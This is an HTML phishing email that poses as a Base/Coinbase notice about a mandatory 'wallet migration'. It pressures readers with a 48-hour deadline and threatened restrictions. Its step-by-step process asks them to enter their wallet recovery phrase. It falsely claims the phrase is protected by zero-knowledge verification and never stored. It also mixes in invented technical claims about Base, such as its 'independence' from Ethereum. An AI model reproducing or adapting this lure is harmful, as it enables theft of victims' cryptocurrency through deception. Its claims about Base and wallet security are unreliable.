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<title>Base: Wallet Migration Confirmation Required</title>
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<h1 style="margin: 0px; color: rgb(255, 255, 255); letter-spacing: -0.5px; font-size: 34px; font-weight: 700;">Base</h1>
<p style="margin: 12px 0px 0px; color: rgba(255, 255, 255, 0.95); font-size: 15px; font-weight: 500;">Built by Coinbase • Secured by Ethereum</p>
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⚠️ MIGRATION IN PROGRESS
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<h2 style="margin: 0px 0px 22px; text-align: center; color: rgb(15, 23, 42); line-height: 1.3; font-size: 26px; font-weight: 700;">Automatic Base Migration: Wallet Confirmation Required</h2>
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Dear Base User,
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<p style="margin: 0px 0px 16px; color: rgb(51, 65, 85); line-height: 1.7; font-size: 15px;">
As part of Base's seamless transition to full Layer 2 independence, we're automatically migrating all Coinbase Wallet users to native Base infrastructure. <strong>Your wallet has been flagged for migration confirmation.</strong>
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This upgrade will unlock enhanced features including lower gas fees, faster transactions, and seamless cross-chain bridging between Ethereum mainnet and Base L2.
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<h4 style="margin: 0px 0px 10px; color: rgb(127, 29, 29); font-size: 14px; font-weight: 700;">🚨 Action Required Within 48 Hours</h4>
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Wallets that do not complete migration confirmation will be <strong>temporarily restricted from Base network transactions</strong> until manual verification is completed through Coinbase support (3-5 business days processing time).
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<h4 style="margin: 0px 0px 16px; color: rgb(3, 105, 161); font-size: 16px; font-weight: 600;">✨ What This Migration Unlocks:</h4>
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<strong style="color: rgb(15, 23, 42); font-size: 14px; margin-bottom: 4px; display: block;">Gas Fees Up to 95% Lower</strong>
<span style="color: rgb(100, 116, 139); font-size: 13px;">Average transaction cost reduced from $15-50 to under $1</span>
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<span style="color: rgb(0, 82, 255); font-size: 18px; font-weight: bold; margin-right: 12px;">🔄</span>
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<strong style="color: rgb(15, 23, 42); font-size: 14px; margin-bottom: 4px; display: block;">Instant ETH ↔ Base Bridging</strong>
<span style="color: rgb(100, 116, 139); font-size: 13px;">Transfer assets between Ethereum and Base in seconds, not hours</span>
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<span style="color: rgb(0, 82, 255); font-size: 18px; font-weight: bold; margin-right: 12px;">🛡️</span>
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<strong style="color: rgb(15, 23, 42); font-size: 14px; margin-bottom: 4px; display: block;">Coinbase Security Layer</strong>
<span style="color: rgb(100, 116, 139); font-size: 13px;">Full Coinbase custody-grade protection with Base L2 efficiency</span>
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<span style="color: rgb(0, 82, 255); font-size: 18px; font-weight: bold; margin-right: 12px;">🌐</span>
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<strong style="color: rgb(15, 23, 42); font-size: 14px; margin-bottom: 4px; display: block;">Base Ecosystem Access</strong>
<span style="color: rgb(100, 116, 139); font-size: 13px;">Seamless access to 200+ Base-native DApps, DEXs, and NFT platforms</span>
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<h4 style="margin: 0px 0px 16px; color: rgb(15, 23, 42); font-size: 16px; font-weight: 600;">📋 Migration Confirmation Process:</h4>
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<strong style="color: rgb(0, 82, 255); font-size: 14px;">Step 1:</strong>
<span style="color: rgb(71, 85, 105); font-size: 14px;"> Click secure migration link below</span>
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<strong style="color: rgb(0, 82, 255); font-size: 14px;">Step 2:</strong>
<span style="color: rgb(71, 85, 105); font-size: 14px;"> Enter your recovery phrase for wallet verification</span>
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<strong style="color: rgb(0, 82, 255); font-size: 14px;">Step 3:</strong>
<span style="color: rgb(71, 85, 105); font-size: 14px;"> Confirm migration authorization</span>
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<strong style="color: rgb(16, 185, 129); font-size: 14px;">Complete:</strong>
<span style="color: rgb(71, 85, 105); font-size: 14px;"> Instant access to Base network – migration complete!</span>
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<strong>⏱️ Average completion time: 90 seconds</strong>
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🚀 Confirm Migration Now
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<h4 style="margin: 0px 0px 10px; color: rgb(5, 150, 105); font-size: 15px; font-weight: 700;">Secured by Coinbase Infrastructure</h4>
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This migration uses Coinbase's institutional-grade security protocols. Your recovery phrase is processed through <strong>zero-knowledge verification</strong> and is never stored on Base or Coinbase servers. All confirmations occur locally on your device using end-to-end encryption.
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Base is Coinbase's Ethereum Layer 2 network built on the OP Stack. This migration ensures your wallet is fully compatible with:
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<ul style="margin: 0px 0px 14px; color: rgb(71, 85, 105); line-height: 1.8; padding-left: 24px; font-size: 14px;">
<li style="margin-bottom: 8px;">EIP-4844 Proto-Danksharding for reduced data costs</li>
<li style="margin-bottom: 8px;">Optimistic Rollup state verification with fraud proofs</li>
<li style="margin-bottom: 8px;">Native USDC integration on Base L2</li>
<li style="margin-bottom: 8px;">Superchain interoperability with OP Mainnet</li>
<li>Cross-chain messaging via Coinbase's bridge infrastructure</li>
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<p style="margin: 0px 0px 6px; color: rgb(15, 23, 42); font-size: 14px; font-weight: 600;">Q: Why is this migration necessary?</p>
<p style="margin: 0px; color: rgb(100, 116, 139); line-height: 1.6; font-size: 13px;">A: Base has achieved full network independence from Ethereum mainnet. This migration ensures your wallet leverages Base's L2 efficiency while maintaining Ethereum security guarantees.</p>
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<p style="margin: 0px 0px 6px; color: rgb(15, 23, 42); font-size: 14px; font-weight: 600;">Q: Will I lose access to my Ethereum assets?</p>
<p style="margin: 0px; color: rgb(100, 116, 139); line-height: 1.6; font-size: 13px;">A: No. Your wallet will maintain full access to both Ethereum mainnet and Base L2. You can freely bridge assets between networks at any time.</p>
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<p style="margin: 0px 0px 6px; color: rgb(15, 23, 42); font-size: 14px; font-weight: 600;">Q: What happens if I don't migrate?</p>
<p style="margin: 0px; color: rgb(100, 116, 139); line-height: 1.6; font-size: 13px;">A: Your wallet will be restricted from Base network transactions and DApp interactions until manual verification through Coinbase support (3-5 day processing time).</p>
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<h4 style="margin: 0px 0px 12px; color: rgb(15, 23, 42); font-size: 15px; font-weight: 600;">💬 Migration Support</h4>
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Coinbase Support is available 24/7 for migration assistance<br>
Response time: Typically under 5 minutes
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This is an automated migration notification from Base<br>
Powered by Coinbase • Secured by Ethereum
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<p style="margin: 0px 0px 10px; color: rgb(0, 82, 255); font-size: 15px; font-weight: 700;">Base</p>
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© 2024 Base by Coinbase. All rights reserved.
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An open, global crypto platform • Built on Ethereum L2
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<a style="margin: 0px 10px; color: rgb(0, 82, 255); font-size: 12px; font-weight: 500; text-decoration: none; display: inline-block;" href="https://base.org">Website</a>
<span style="color: rgb(203, 213, 225);">•</span>
<a style="margin: 0px 10px; color: rgb(0, 82, 255); font-size: 12px; font-weight: 500; text-decoration: none; display: inline-block;" href="https://docs.base.org">Docs</a>
<span style="color: rgb(203, 213, 225);">•</span>
<a style="margin: 0px 10px; color: rgb(0, 82, 255); font-size: 12px; font-weight: 500; text-decoration: none; display: inline-block;" href="https://bridge.base.org">Bridge</a>
<span style="color: rgb(203, 213, 225);">•</span>
<a style="margin: 0px 10px; color: rgb(0, 82, 255); font-size: 12px; font-weight: 500; text-decoration: none; display: inline-block;" href="https://help.coinbase.com">Support</a>
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<p style="margin: 0px; color: rgb(148, 163, 184); line-height: 1.5; font-size: 11px;">
You're receiving this because your Coinbase Wallet is being migrated to Base<br>
Base, operated by Coinbase, 100 Pine Street, San Francisco, CA 94111, United States
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